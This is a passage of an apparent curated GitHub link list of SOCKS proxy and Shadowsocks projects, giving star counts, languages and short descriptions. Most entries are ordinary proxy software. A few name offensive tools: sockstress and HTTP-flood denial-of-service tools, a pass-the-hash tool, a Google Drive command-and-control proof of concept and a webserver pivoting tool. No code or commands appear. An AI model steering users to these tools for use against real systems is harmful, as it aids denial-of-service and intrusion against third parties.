- [**293**星][3y] [Py] [n1nj4sec/pr0cks](https://github.com/n1nj4sec/pr0cks) python script setting up a transparent proxy to forward all TCP and DNS traffic through a SOCKS / SOCKS5 or HTTP(CONNECT) proxy using iptables -j REDIRECT target
- [**289**星][1y] [C] [dgoulet/torsocks](https://github.com/dgoulet/torsocks) Library to torify application - NOTE: upstream has been moved to
- [**274**星][9m] [C] [rofl0r/microsocks](https://github.com/rofl0r/microsocks) tiny, portable SOCKS5 server with very moderate resource usage
- [**265**星][4y] [JS] [mscdex/socksv5](https://github.com/mscdex/socksv5) SOCKS protocol version 5 server and client implementations for node.js
- [**239**星][3m] [JS] [mattcg/socks5-http-client](https://github.com/mattcg/socks5-http-client) SOCKS v5 HTTP client implementation in JavaScript for Node.js.
- [**239**星][9m] [C] [zhuhaow/tun2socks](https://github.com/zhuhaow/tun2socks) A tun2socks framework with Swift wrapper
- [**233**星][3y] [C#] [thrdev/socks5](https://github.com/thrdev/socks5) A full-fledged high-performance socks5 proxy server written in C#. Plugin support included.
- [**221**星][2y] [Go] [gamexg/proxyclient](https://github.com/gamexg/proxyclient) golang 代理库，和net一致的API。支持 socks4、socks4a、socks5、http、https 等代理协议。
- [**209**星][3y] [Go] [yinghuocho/gotun2socks](https://github.com/yinghuocho/gotun2socks) A Golang implementation of tun2socks
- [**206**星][2y] [Py] [linw1995/lightsocks-python](https://github.com/linw1995/lightsocks-python)
- [**185**星][3y] [Go] [eahydra/socks](https://github.com/eahydra/socks) socks -- a proxy server.
- [**185**星][3m] [JS] [oyyd/http-proxy-to-socks](https://github.com/oyyd/http-proxy-to-socks) hpts(http-proxy-to-socks) is a nodejs client to convert socks proxy into http proxy
- [**184**星][2y] [5loyd/xsocks](https://github.com/5loyd/xsocks) This project closed.
- [**174**星][2y] [Java] [fengyouchao/sockslib](https://github.com/fengyouchao/sockslib) A Java library of SOCKS5 protocol including client and server
- [**154**星][6y] [C] [defuse/sockstress](https://github.com/defuse/sockstress) Sockstress (TCP DoS) implementation.
- [**154**星][2m] [Rust] [net-reflow/reflow](https://github.com/net-reflow/reflow) Content-routable socks5 proxy switcher for your entire LAN.
- [**137**星][9m] [Go] [snail007/shadowtunnel](https://github.com/snail007/shadowtunnel) secure tunnel which help you protecting your tcp traffic between your machine and your service on remote.
- [**134**星][1m] [Go] [fanpei91/gap-proxy](https://github.com/fanpei91/gap-proxy) gap-proxy 是一个加速网络的 SOCKS5 安全代理工具。
- [**134**星][1m] [Py] [leeon123/cc-attack](https://github.com/leeon123/cc-attack) Using Socks4/5 proxy to make a multithread Http-flood/Https-flood (cc) attack.
- [**131**星][2y] [JS] [oyyd/encryptsocks](https://github.com/oyyd/encryptsocks) Encrypt your socks transmission.
- [**120**星][2y] [PHP] [walkor/php-socks5](https://github.com/walkor/php-socks5) socks5 proxy written in PHP based on workerman.
- [**105**星][15d] [Dockerfile] [peterdavehello/tor-socks-proxy](https://github.com/peterdavehello/tor-socks-proxy)
- [**98**星][1y] [Py] [tonyseek/rsocks](https://github.com/tonyseek/rsocks) A SOCKS 4/5 reverse proxy server
- [**95**星][4m] [Go] [grepplabs/kafka-proxy](https://github.com/grepplabs/kafka-proxy) Proxy connections to Kafka cluster. Connect through SOCKS Proxy, HTTP Proxy or to cluster running in Kubernetes.
- [**93**星][2m] [C#] [mihazupan/httptosocks5proxy](https://github.com/mihazupan/httptosocks5proxy) C# Http to Socks5 proxy implementation
- [**91**星][2y] [C++] [liulilittle/paperairplane](https://github.com/liulilittle/paperairplane) 一个类似于Proxifier的SOCKS5代理工具
- [**80**星][1y] [Go] [lzjluzijie/websocks](https://github.com/lzjluzijie/websocks) A secure proxy based on WebSocket. 一个基于 WebSocket 的代理工具
- [**79**星][3y] [Go] [ring04h/s5.go](https://github.com/ring04h/s5.go) Socks5 proxy server by golang
- [**72**星][2y] [JS] [chrisyer/lightsocks-nodejs](https://github.com/chrisyer/lightsocks-nodejs) It's a simple socks5 proxy tool which based on lightsocks
- [**72**星][2y] [Go] [qax-a-team/ntlmsocks](https://github.com/QAX-A-Team/NtlmSocks) a pass-the-hash tool
- [**66**星][1y] [Py] [lukebaggett/google_socks](https://github.com/lukebaggett/google_socks) A proof of concept demonstrating the use of Google Drive for command and control.
- [**60**星][4y] [shadowsocks/tun2socks-ios](https://github.com/shadowsocks/tun2socks-ios) tun2socks as a library for iOS apps
- [**56**星][3m] [Shell] [snail007/goproxy-heroku](https://github.com/snail007/goproxy-heroku) goproxy heroku 一键部署套装，把heroku变为免费的http(s)\socks5代理，搜索学习资料。
- [**56**星][3m] [C] [heiher/hev-socks5-tproxy](https://github.com/heiher/hev-socks5-tproxy) A simple, lightweight socks5 transparent proxy for Linux
- [**52**星][6d] [Rust] [sorz/moproxy](https://github.com/sorz/moproxy) A transparent TCP to SOCKSv5/HTTP proxy on Linux written in Rust.
- [**52**星][5y] [Py] [x0day/multiproxies](https://github.com/x0day/multiproxies) penetration testing framework that can use socks4/socks5 proxy.
- [**50**星][5m] [JS] [mattcg/socks5-client](https://github.com/mattcg/socks5-client) SOCKS v5 client socket implementation in JavaScript for Node.JS.
- [**49**星][2y] [Py] [mrschyte/socksmon](https://github.com/mrschyte/socksmon) 使用 BURP 或 ZAP 的 TCP 拦截代理
- [**48**星][29d] [JS] [znetstar/tor-router](https://github.com/znetstar/tor-router) A SOCKS, HTTP and DNS proxy for distributing traffic across multiple instances of Tor
- [**44**星][4m] [Py] [jaredlgillespie/proxyscrape](https://github.com/jaredlgillespie/proxyscrape) Python library for retrieving free proxies (HTTP, HTTPS, SOCKS4, SOCKS5).
- [**44**星][4m] [C] [wongsyrone/transocks-wong](https://github.com/wongsyrone/transocks-wong) A redsocks-like transparent IPv4/IPv6 TCP-to-SOCKS5 redirector (for Linux only)
- [**42**星][2y] [Rust] [alexcrichton/socks5-rs](https://github.com/alexcrichton/socks5-rs) Implementation of a socks5 proxy server in Rust
- [**42**星][5m] [C++] [lianglixin/sksocks](https://github.com/lianglixin/sksocks) SKSocks, for proxy, firewall penetration, data encryption and speeding up internet accessing.
- [**42**星][27d] [Py] [pagekite/pysocksipychain](https://github.com/pagekite/pysocksipychain) Modified socks.py which supports chained proxies
- [**41**星][2y] [6r6/ssr-ml-docker](https://github.com/6r6/ssr-ml-docker) ShadowsockR-Server docker container.
- [**40**星][9m] [Go] [txthinking/socks5](https://github.com/txthinking/socks5) SOCKS Protocol Version 5 Library in Go
- [**40**星][2y] [Py] [zjx20/socks-cli](https://github.com/zjx20/socks-cli) A solution to make CLI commands use socks5 proxy.
- [**39**星][1y] [Dockerfile] [elejke/docker-socks5](https://github.com/elejke/docker-socks5) Docker для поднятия socks5 proxy сервера
- [**39**星][11m] [Py] [keli/furion](https://github.com/keli/furion) Socks5 + SSL Proxy
- [**38**星][4y] [Py] [nonenotnull/regeorg](https://github.com/nonenotnull/regeorg) The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
- [**38**星][7y] [Java] [ravn/jsocks](https://github.com/ravn/jsocks) Updates for
- [**36**星][9m] [Py] [cyubuchen/free_proxy_website](https://github.com/cyubuchen/free_proxy_website) 获取免费socks/https/http代理的网站集合
- [**34**星][2m] [Shell] [garywill/linux-router](https://github.com/garywill/linux-router) Set Linux as router in one command. Support Internet sharing, redsocks, Wifi hotspot, IPv6. Can also be used for routing VM/containers
- [**33**星][4y] [Py] [pan0pt1c0n/python-sockstress](https://github.com/pan0pt1c0n/python-sockstress) SockStress DoS (Denial of Service) exploit written in Python |
- [**33**星][1y] [Py] [skelsec/socksohttp](https://github.com/skelsec/socksohttp) Socks5 server over Websockets
- [**32**星][4m] [Shell] [riftbit/docker-3proxy](https://github.com/riftbit/docker-3proxy) Smallest and Fastest Docker container for fast proxy setup based on 3proxy SOCKS5 proxy
- [**32**星][1y] [Rust] [sfackler/rust-socks](https://github.com/sfackler/rust-socks)
- [**32**星][1y] [JS] [blinksocks/blinksocks-gui](https://github.com/blinksocks/blinksocks-gui) A web based GUI wrapper for blinksocks.
- [**31**星][2y] [Go] [brimstone/rsocks](https://github.com/brimstone/rsocks) Tiny little reverse socks5 client & server
- [**31**星][11m] [Shell] [s-o-t/telegram-3proxy-install](https://github.com/s-o-t/telegram-3proxy-install) Bash script to install socks5 proxy (3proxy) configured for telegram.
- [**29**星][4y] [Py] [yinghuocho/ghttproxy](https://github.com/yinghuocho/ghttproxy) a gevent based HTTP/HTTPS proxy with SOCKS5 forwarding.
- [**29**星][1m] [Java] [snail007/goproxy-android](https://github.com/snail007/goproxy-android) snail007/goproxy全能代理服务器安卓版。高性能的http代理、https代理、socks5代理、ss代理、内网穿透、内网穿透p2p、内网穿透代理、内网穿透反向代理、内网穿透服务器、游戏盾、游戏高防、游戏代理，支持API代理认证。websocke代理、tcp代理、udp代理、socket代理、高仿服务器。支持正向代理、反向代理、透明代理、TCP内网穿透、UDP内网穿透、HTTP内网穿透、HTTPS内网穿透、https代理负载均衡、http代理负载均衡、socks5代理负载均衡、socket代理负载均衡、ss代理负载均衡、TCP/UDP端口映射、SSH中转、TLS加密传输、协议转换、防污染DNS代理，限速，限连接数。
- [**28**星][1y] [Ruby] [igrigorik/em-socksify](https://github.com/igrigorik/em-socksify) Transparent proxy support for any EventMachine protocol
- [**28**星][20d] [snail007/goproxy-cn](https://github.com/snail007/goproxy-cn) 高性能的http代理、https代理、socks5代理、ss代理、内网穿透、内网穿透p2p、内网穿透代理、内网穿透反向代理、内网穿透服务器、游戏盾、游戏高防、游戏代理，支持API代理认证。websocke代理、tcp代理、udp代理、socket代理、高仿服务器。支持正向代理、反向代理、透明代理、TCP内网穿透、UDP内网穿透、HTTP内网穿透、HTTPS内网穿透、https代理负载均衡、http代理负载均衡、socks5代理负载均衡、socket代理负载均衡、ss代理负载均衡、TCP/UDP端口映射、SSH中转、TLS加密传输、协议转换、防污染DNS代理，限速，限连接数。官方QQ交流群: 42805407。
- [**24**星][9m] [PHP] [jsondeveloper/dante-gui](https://github.com/jsondeveloper/dante-gui) Dante Server (SOCKS5 Proxy) Web Interface (Telegram ready)
- [**24**星][5y] [C] [z3apa3a/3scan](https://github.com/z3apa3a/3scan) 3Scan is fast detector for open HTTP/CONNECT/SOCKS4/SOCKS5/FTP/TELNET proxy
- [**22**星][10m] [Go] [extremecoders-re/go-dispatch-proxy](https://github.com/extremecoders-re/go-dispatch-proxy) SOCKS5 load balancing proxy developed in Go, combines multiple internet connections
- [**22**星][1y] [Go] [ginuerzh/gosocks5](https://github.com/ginuerzh/gosocks5) golang and SOCKS5
- [**21**星][2y] [JS] [shangxinbo/cardinal](https://github.com/shangxinbo/cardinal) A socks and http proxy by nodejs for you to over GWF
- [**18**星][6y] [Py] [ln5/twisted-socks](https://github.com/ln5/twisted-socks) Adding client SOCKS support to Twisted.
- [**15**星][2y] [Java] [kecon/jsocksproxy](https://github.com/kecon/jsocksproxy) SOCKS proxy written in Java
- [**13**星][4y] [jgamblin/tor](https://github.com/jgamblin/tor) Simple TOR Socks Proxy Container
- [**10**星][8m] [Go] [hanxi/nps](https://github.com/hanxi/nps) 一款轻量级、功能强大的内网穿透代理服务器。支持tcp、udp流量转发，支持内网http代理、内网socks5代理，同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理，集成多用户模式。
- [**10**星][3y] [Go] [marcelki/sockstress](https://github.com/marcelki/sockstress) Sockstress (CVE-2008-4609) DDoS implementation written in Go
- [**8**星][4y] [Py] [jun7th/tsocks](https://github.com/jun7th/tsocks) A reverse socks5 proxy server with ssl(一个Socks5代理服务器程序)
- [**7**星][2y] [C] [qusic/skia](https://github.com/qusic/skia) Transparent SOCKS Redirector for iOS
- [**6**星][1y] [stefanoj3/tordock](https://github.com/stefanoj3/tordock) Dockerized TOR socks5
- [**5**星][5y] [Py] [rpicard/socksonsocks](https://github.com/rpicard/socksonsocks) A tool to set a socket up for using a SOCKS proxy
- [**5**星][2y] [Shell] [flavioaiello/redsocks](https://github.com/flavioaiello/redsocks) Production ready transparent proxy for docker on corporate networks
- [**3**星][2y] [Py] [pannzh/fsocks](https://github.com/pannzh/fsocks) Yet another socks5 proxy to bypass firewall
- [**2**星][8y] [JS] [markfisher/twitter-rabbit-socks-sample](https://github.com/markfisher/twitter-rabbit-socks-sample)
### <a id="cb16466a31a167bb61f39e2a4a85f449"></a>Shadowsocks
#### <a id="60a91763cc1c0e034bee9717b9b87468"></a>未分类
- [**1891**星][4m] [C] [shadowsocks/simple-obfs](https://github.com/shadowsocks/simple-obfs) A simple obfuscating tool (Deprecated)
- [**632**星][4y] [CoffeeScript] [shadowsocks/shadowsocks-chromeapp](https://github.com/shadowsocks/shadowsocks-chromeapp) Chrome client for shadowsocks
- [**574**星][2y] [JS] [shadowsocks-plus/shadowsocks-plus](https://github.com/shadowsocks-plus/shadowsocks-plus)
- [**530**星][3y] [ObjC] [herzmut/shadowsocks-ios](https://github.com/herzmut/shadowsocks-ios) Fork of shadowsocks/shadowsocks-iOS
- [**523**星][10m] [JS] [mrluanma/shadowsocks-heroku](https://github.com/mrluanma/shadowsocks-heroku) shadowsocks over WebSocket, support Heroku.
- [**502**星][18d] [JS] [shadowsocks/shadowsocks-org](https://github.com/shadowsocks/shadowsocks-org) The official website of Project Shadowsocks.
- [**371**星][2y] [Java] [zc-zh-001/shadowsocks-share](https://github.com/zc-zh-001/shadowsocks-share) 示例站点
- [**311**星][6y] [Py] [shadowsocks/shadowdns](https://github.com/shadowsocks/shadowdns) A DNS forwarder using Shadowsocks as the server
- [**229**星][2y] [CoffeeScript] [521xueweihan/shadowsocks-heroku](https://github.com/521xueweihan/shadowsocks-heroku) 本项目已删除
- [**202**星][2y] [weilaihui/ss-net](https://github.com/weilaihui/ss-net) 共享shadowsocks主机
- [**192**星][4m] [Shell] [unbinilium/twist](https://github.com/unbinilium/twist) A light script for you to setup shadowsocks-libev server with high-speed connections and newest powerful features
- [**181**星][8m] [shadowsocks/papers](https://github.com/shadowsocks/papers) List of papers related to shadowsocks
- [**174**星][4y] [Py] [shadowsocks-backup/shadowsocks](https://github.com/shadowsocks-backup/shadowsocks)
- [**127**星][2d] [Py] [v3aqb/fwlite](https://github.com/v3aqb/fwlite) A anti-censorship HTTP proxy with builtin shadowsocks support.
- [**118**星][1y] [JS] [shadowsocks/shadowsocks-hub](https://github.com/shadowsocks/shadowsocks-hub) A web app managing shadowsocks users, servers, nodes, products, accounts, and traffic. Suitable for internal use by companies, organizations, and friends.
- [**109**星][4m] [Shell] [immmx/ubnt-mips-shadowsocks-libev](https://github.com/immmx/ubnt-mips-shadowsocks-libev) Cross complie shadowsocks for UBNT devices based on mipsel or mips64
- [**106**星][4y] [liuchenx/surgeconfig](https://github.com/liuchenx/surgeconfig) surge app shadowsocks config
- [**97**星][4m] [Py] [guyingbo/shadowproxy](https://github.com/guyingbo/shadowproxy) A proxy server that implements Socks5/Shadowsocks/Redirect/HTTP (tcp) and Shadowsocks/TProxy/Tunnel (udp) protocols.
- [**93**星][2m] [Py] [gxfxyz/unblockchn](https://github.com/gxfxyz/unblockchn) Unblock CHN - Shadowsocks 回国解锁代理分流配置工具 (路由器 & Surge) - Unblock Youku 衍生工具
- [**92**星][2y] [Shell] [henryho2006/rpiproxy](https://github.com/henryho2006/rpiproxy) Make a Raspberry PI as a proxy route, work with shadowsocks server, provide clean dns/proxy service
- [**91**星][5y] [JS] [nihgwu/nevermore](https://github.com/nihgwu/nevermore) a shadowsocks client powered by node-webkit
- [**88**星][3y] [JS] [lovetingyuan/fq](https://github.com/lovetingyuan/fq) fq应用，基于nodejs和shadowsocks
- [**80**星][7m] [PHP] [shadowsocks/shadow-shop](https://github.com/shadowsocks/shadow-shop) Building highly customizable e-commerce websites selling shadowsocks services, using Wordpress and WooCommerce
- [**78**星][9d] [Shell] [acris/shadowsocks-asuswrt-merlin](https://github.com/acris/shadowsocks-asuswrt-merlin) Shadowsock for Asuswrt-Merlin New Gen
- [**75**星][8m] [Py] [huaisha1224/shadowsocks-client](https://github.com/huaisha1224/shadowsocks-client) The ShadowSocks client is a support multiple server port and password
- [**72**星][22d] [Py] [ehco1996/aioshadowsocks](https://github.com/ehco1996/aioshadowsocks) 用 asyncio 重写 shadowsocks ~
- [**69**星][6m] [JS] [jiang-xuan/deepinss](https://github.com/jiang-xuan/deepinss) Deep in shadowsocks.
- [**68**星][2y] [Go] [ihciah/inner-shadowsocks](https://github.com/ihciah/inner-shadowsocks) Shadowsocks -> socks5 on server. (Created for providing socks5 proxy for Telegram)
- [**63**星][5m] [Go] [yryz/httpproxy](https://github.com/yryz/httpproxy) 一个轻量级HTTP代理，支持shadowsocks服务，方便命令行、开发环境使用。
- [**60**星][9m] [JS] [shadowsocks/shadowsocks-restful-api](https://github.com/shadowsocks/shadowsocks-restful-api) Secure, reliable, standard restful api for managing shadowsocks-libev
- [**59**星][1y] [Py] [vonsdite/auto_shadowsocks](https://github.com/vonsdite/auto_shadowsocks) Shadowsocks. 科学上网, 仅供学习。是免费的服务器，可能存在科学上网不稳定。
- [**56**星][1m] [Swift] [chengluffy/shadowsocksfree](https://github.com/chengluffy/shadowsocksfree) Try Yourself.
- [**52**星][2y] [C] [shadowsocks/libsscrypto](https://github.com/shadowsocks/libsscrypto) Build libsscrypto.dll for shadowsocks-windows.
- [**48**星][17d] [TS] [srar/socks2shadowsocks](https://github.com/srar/socks2shadowsocks) 单Socks5 转换 多Shadowsocks端口 流量统计 抓包分析 TypeScript
- [**44**星][4m] [HTML] [mrluanma/shadowsocks-websocket-python](https://github.com/mrluanma/shadowsocks-websocket-python) shadowsocks over WebSocket, support Heroku.
- [**40**星][1y] [TS] [icodesign/proxy-uri](https://github.com/icodesign/proxy-uri) Helper to generate/parse Shadowsocks(R)/HTTP(S) URI
- [**38**星][4y] [C] [taichisocks/shadowsocks](https://github.com/taichisocks/shadowsocks) Lightweight shadowsocks client for iOS and Mac OSX base on shadowsocks-libev
- [**38**星][3m] [Py] [kamingchan/shadowsocks-munager](https://github.com/kamingchan/shadowsocks-munager) Middleware of shadowsocks-libev and sspanel
- [**36**星][3y] [Go] [davidqhr/socccks](https://github.com/davidqhr/socccks) Socccks is a shadowsocks like separated socks5 proxy
- [**35**星][5y] [plutochiou/shadowsocks-rss](https://github.com/plutochiou/shadowsocks-rss) shadowsocks update rss
- [**32**星][5y] [Shell] [duoduo369/oh-my-shadowsocks](https://github.com/duoduo369/oh-my-shadowsocks) shadowsocks config on server, supervisor support
- [**28**星][2y] [Swift] [jeanshuang/potatso](https://github.com/jeanshuang/potatso) 适配Xcode9.3 iOS11.3 Swift3.3编译通过。 (unmaintained) Potatso is an iOS client that implements Shadowsocks proxy with the leverage of NetworkExtension framework in iOS 9.
- [**23**星][5d] [Shell] [samuelhbne/vpn-launchpad](https://github.com/samuelhbne/vpn-launchpad) Builds Shadowsocks VPN server on AWS EC2 with QR code support. Works on Ubuntu, OSX and Debian variants including Raspbian.
- [**21**星][1y] [JS] [shadowsocks/shadowsocks-hub-api](https://github.com/shadowsocks/shadowsocks-hub-api) A set of open and standard restful APIs for managing shadowsocks users, servers, nodes, products, accounts, and traffic.
- [**21**星][2y] [Py] [sorz/ssmanager](https://github.com/sorz/ssmanager) A python module managing large amount of running Shadowsocks server instances.
- [**20**星][2y] [JS] [lersh/potatostream](https://github.com/lersh/potatostream) Shadowsocks like Proxy,Written by nodejs
- [**19**星][15d] [windelight/superacl](https://github.com/windelight/superacl) 适用于Shadowsocks各客户端软件和其RSS等衍生版本的访问控制规则
- [**19**星][2y] [Shell] [cool2645/ssmu_install](https://github.com/cool2645/ssmu_install) Shadowsocks-go manyuser auto installer
- [**19**星][1y] [Shell] [necan/shadowsocks-libev-static-build](https://github.com/necan/shadowsocks-libev-static-build) 静态编译 shadowsocks-libev
- [**18**星][3m] [Py] [elder-wu/ssserverdevicelimit](https://github.com/elder-wu/ssserverdevicelimit) 可以让Shadowsocks服务器限制某个端口的设备连接数，防止有人恶意分享ss账号
- [**3**星][2y] [Shell] [altiplanogao/raspbian-ss](https://github.com/altiplanogao/raspbian-ss) Transparent proxy server (use shadowsocks & chinadns) on raspberry pi
#### <a id="bdf7adbb1e8c52aa89dc771aa5fedc4b"></a>收集
- [**304**星][2y] [Shell] [sirzdy/shadowsocks](https://github.com/sirzdy/shadowsocks) 与 ShadowSocks 有关的教程、文件等
#### <a id="f90ec3d0727d2ee3840df6c9f9557756"></a>Shadowsocks-lib/gui
- [**45779**星][5d] [C#] [shadowsocks/shadowsocks-windows](https://github.com/shadowsocks/shadowsocks-windows) Shadowsocks的Windows客户端
- [**32060**星][4y] [Py] [shadowsocks/shadowsocks](https://github.com/shadowsocks/shadowsocks) shadowsocks原版
- [**12738**星][19d] [C] [shadowsocks/shadowsocks-libev](https://github.com/shadowsocks/shadowsocks-libev) libev port of shadowsocks
- [**7431**星][2m] [C++] [shadowsocks/shadowsocks-qt5](https://github.com/shadowsocks/shadowsocks-qt5) A cross-platform shadowsocks GUI client
- [**6568**星][6m] [Go] [shadowsocks/shadowsocks-go](https://github.com/shadowsocks/shadowsocks-go) go port of shadowsocks (Deprecated)
- [**2793**星][1m] [Makefile] [shadowsocks/openwrt-shadowsocks](https://github.com/shadowsocks/openwrt-shadowsocks) Shadowsocks-libev for OpenWrt/LEDE
- [**2025**星][5y] [CoffeeScript] [shadowsocks/shadowsocks-gui](https://github.com/shadowsocks/shadowsocks-gui) Shadowsocks GUI client
- [**1928**星][4y] [Py] [ziggear/shadowsocks](https://github.com/ziggear/shadowsocks) backup of https://github.com/shadowsocks/shadowsocks
- [**1431**星][7d] [Rust] [shadowsocks/shadowsocks-rust](https://github.com/shadowsocks/shadowsocks-rust) A Rust port of shadowsocks
- [**1334**星][4y] [mengskysama/shadowsocks](https://github.com/mengskysama/shadowsocks) A fast tunnel proxy that helps you bypass firewalls
- [**1324**星][2m] [C++] [shadowsocks/libqtshadowsocks](https://github.com/shadowsocks/libqtshadowsocks) A lightweight and ultra-fast shadowsocks library written in C++14 with Qt framework
- [**1225**星][3y] [CoffeeScript] [shadowsocks/shadowsocks-nodejs](https://github.com/shadowsocks/shadowsocks-nodejs) a node.js port of shadowsocks.
- [**907**星][1y] [Go] [huacnlee/flora-kit](https://github.com/huacnlee/flora-kit) 基于 shadowsocks-go 做的完善实现，完全兼容 Surge 的配置文件
- [**866**星][10m] [Shell] [shadowsocks/luci-app-shadowsocks](https://github.com/shadowsocks/luci-app-shadowsocks) OpenWrt/LEDE LuCI for Shadowsocks-libev
- [**846**星][12m] [PHP] [walkor/shadowsocks-php](https://github.com/walkor/shadowsocks-php) A php port of shadowsocks based on workerman. A socks5 proxy written in PHP.
- [**454**星][4y] [clowwindy/shadowsocks-libev](https://github.com/clowwindy/shadowsocks-libev)
- [**425**星][4m] [JS] [lolimay/shadowsocks-deepin](https://github.com/lolimay/shadowsocks-deepin) a powerful shadowsocks client for linux deepin.
- [**421**星][3y] [Py] [mengskysama/shadowsocks-rm](https://github.com/mengskysama/shadowsocks-rm) A fast tunnel proxy that helps you bypass firewalls
- [**398**星][1y] [Go] [riobard/go-shadowsocks2](https://github.com/riobard/go-shadowsocks2) Experimental Shadowsocks in Go. Stable fork at
- [**249**星][5m] [Py] [fsgmhoward/shadowsocks-py-mu](https://github.com/fsgmhoward/shadowsocks-py-mu) A fast tunnel proxy server for multiple users
- [**243**星][4y] [Py] [rockerflower/shadowsocks](https://github.com/rockerflower/shadowsocks)
- [**210**星][7y] [haohaolee/shadowsocks-openwrt](https://github.com/haohaolee/shadowsocks-openwrt) A package of shadowsocks for OpenWrt
- [**195**星][3y] [Py] [falseen/shadowsocks-pyqt](https://github.com/falseen/shadowsocks-pyqt) 一个用PyQt5实现的shadowsocks 客户端, 可以在 windows、linux、OSX 等平台上运行
- [**192**星][2m] [Java] [tongxiji/shadowsocks-java](https://github.com/tongxiji/shadowsocks-java) shadowsocks server base on netty4 , tcp & udp full support,
- [**185**星][7y] [CoffeeScript] [shadowsocks/shadowsocks-dotcloud](https://github.com/shadowsocks/shadowsocks-dotcloud) a port of shadowsocks via websockets protocol, able to tunnel through HTTP proxy
- [**167**星][2y] [Rust] [loggerhead/shadowsocks-rust](https://github.com/loggerhead/shadowsocks-rust) Oh my implementation of Shadowsocks in Rust
- [**155**星][2m] [Go] [ihciah/go-shadowsocks-magic](https://github.com/ihciah/go-shadowsocks-magic) A shadowsocks implementation in golang with Multi-connection Acceleration
- [**150**星][1y] [Java] [zhangjiupeng/agentx](https://github.com/zhangjiupeng/agentx) Shadowsocks升级版，支持协议伪装和流量压缩，易于扩展，可统计流量
- [**123**星][3y] [JS] [openmarshall/shortcutss](https://github.com/openmarshall/shortcutss) This is a Mac Shadowsocks client equipped with global shortcuts to switch proxy mode !
- [**88**星][2y] [Go] [dawei101/tongsheclient.shadowsocks-go-ui](https://github.com/dawei101/tongsheclient.shadowsocks-go-ui) shadowsocks client for all desktop platform(mac osx/windows/linux) with golang
- [**71**星][2y] [HTML] [onplus/shadowsocks-websocket-python](https://github.com/onplus/shadowsocks-websocket-python) shadowsocks over WebSocket, support Heroku.
- [**58**星][6y] [CoffeeScript] [lupino/shadowsocks-gui](https://github.com/lupino/shadowsocks-gui) Shadowsocks GUI client
- [**45**星][1y] [Shell] [qiang-yu/shadowsocksvpn-openwrt](https://github.com/qiang-yu/shadowsocksvpn-openwrt) Shadowsocks-libev-full for OpenWrt
- [**44**星][2y] [C#] [tkyu/shadowsocks-csharp-mod](https://github.com/tkyu/shadowsocks-csharp-mod) Shadowsocks for Windows
- [**38**星][1y] [Elixir] [paulzql/shadowsocks-ex](https://github.com/paulzql/shadowsocks-ex) elixir port of shadowsocks
- [**33**星][2y] [Perl] [zhou0/shadowsocks-perl](https://github.com/zhou0/shadowsocks-perl) An asynchronous, non-blocking shadowsocks client and server written in Perl.
- [**31**星][3y] [Py] [loggerhead/shadowsocks](https://github.com/loggerhead/shadowsocks)
- [**31**星][2y] [Makefile] [xc2/shadowsocks-libev-tomato](https://github.com/xc2/shadowsocks-libev-tomato) Pre-compiled shadowsocks-libev for TomatoUSB, Tomato Shibby, Toastman and Asuswrt Merlin.
- [**29**星][12m] [Java] [bestoa/shadowsocks-vertx](https://github.com/bestoa/shadowsocks-vertx) Java port of shadowsocks with vertx.
- [**28**星][2y] [C] [zhou0/mysocks](https://github.com/zhou0/mysocks) The cross-platform shadowsocks client and server with minimum dependencies.
- [**24**星][7m] [Swift] [universonic/shadowsocks-macos](https://github.com/universonic/shadowsocks-macos) Shadowsocks Client for Apple macOS
- [**23**星][4y] [Py] [shadowsocksfork/shadowsocksfork](https://github.com/shadowsocksfork/shadowsocksfork) A fork of shadowsocks 2.8.2
#### <a id="0b7ec49dd41a16ce7ba58d399475e09f"></a>Shadowsocks-ng
- [**25815**星][1m] [Swift] [shadowsocks/shadowsocksx-ng](https://github.com/shadowsocks/shadowsocksx-ng) Next Generation of ShadowsocksX
- [**5822**星][2y] [qinyuhang/shadowsocksx-ng-r](https://github.com/qinyuhang/shadowsocksx-ng-r) Next Generation of ShadowsocksX
- [**700**星][2y] [yichengchen/shadowsocksx-r](https://github.com/yichengchen/shadowsocksx-r) Next Generation of ShadowsocksX
- [**141**星][7m] [JS] [wzdnzd/shadowsocksx-ng-r](https://github.com/wzdnzd/shadowsocksx-ng-r) Shadowsocks Client for MacOS
- [**108**星][13d] [JS] [paradiseduo/shadowsocksx-ng-r8](https://github.com/paradiseduo/shadowsocksx-ng-r8) ShadowsocksX-NG-R for MacOS
- [**68**星][3y] [Py] [yourtion/alfred_shadowsockscontroller](https://github.com/yourtion/alfred_shadowsockscontroller) ShadowsocksX controller for Alfred
#### <a id="02a80eb3908819d75933198c6b9c6008"></a>ShadowsocksR
- [**5808**星][2y] [shadowsocksrr/shadowsocksr-android](https://github.com/shadowsocksrr/shadowsocksr-android) A ShadowsocksR client for Android
- [**5076**星][4y] [Py] [shadowsocksr-backup/shadowsocksr](https://github.com/shadowsocksr-backup/shadowsocksr) Python port of ShadowsocksR
- [**3940**星][2y] [C#] [shadowsocksr-backup/shadowsocksr-csharp](https://github.com/shadowsocksr-backup/shadowsocksr-csharp) shadowsocksr C#
- [**3826**星][5y] [shadowsocksr-backup/shadowsocks-rss](https://github.com/shadowsocksr-backup/shadowsocks-rss) ShadowsocksR update rss, SSR organization
- [**3420**星][2y] [shadowsocksrr/shadowsocks-rss](https://github.com/shadowsocksrr/shadowsocks-rss) ShadowsocksR update rss, SSR organization
- [**2650**星][2y] [Py] [shadowsocksrr/shadowsocksr](https://github.com/shadowsocksrr/shadowsocksr) Python port of ShadowsocksR
- [**1926**星][16d] [C#] [hmbsbige/shadowsocksr-windows](https://github.com/hmbsbige/shadowsocksr-windows) ShadowsocksR for Windows
- [**1176**星][7m] [ssrarchive/shadowsocks-rss](https://github.com/ssrarchive/shadowsocks-rss) Shadowsocksr project backup
- [**1171**星][6d] [C] [shadowsocksr-live/shadowsocksr-native](https://github.com/shadowsocksr-live/shadowsocksr-native) ShadowsocksR (SSR) native implementation for all platforms,
- [**922**星][1y] [Shell] [ywb94/openwrt-ssr](https://github.com/ywb94/openwrt-ssr) ShadowsocksR-libev for OpenWrt
- [**701**星][6m] [Py] [mobier/shadowsocksr-speed](https://github.com/mobier/shadowsocksr-speed) SSR 批量测试节点有效带宽
- [**665**星][2y] [shadowsocksr-backup/shadowsocksx-ng](https://github.com/shadowsocksr-backup/shadowsocksx-ng) Next Generation of ShadowsocksX
- [**628**星][2y] [C] [shadowsocksr-backup/shadowsocksr-libev](https://github.com/shadowsocksr-backup/shadowsocksr-libev) libev port of ShadowsocksR
- [**478**星][2y] [Py] [ssrarchive/shadowsocksr](https://github.com/ssrarchive/shadowsocksr) Python port of ShadowsocksR
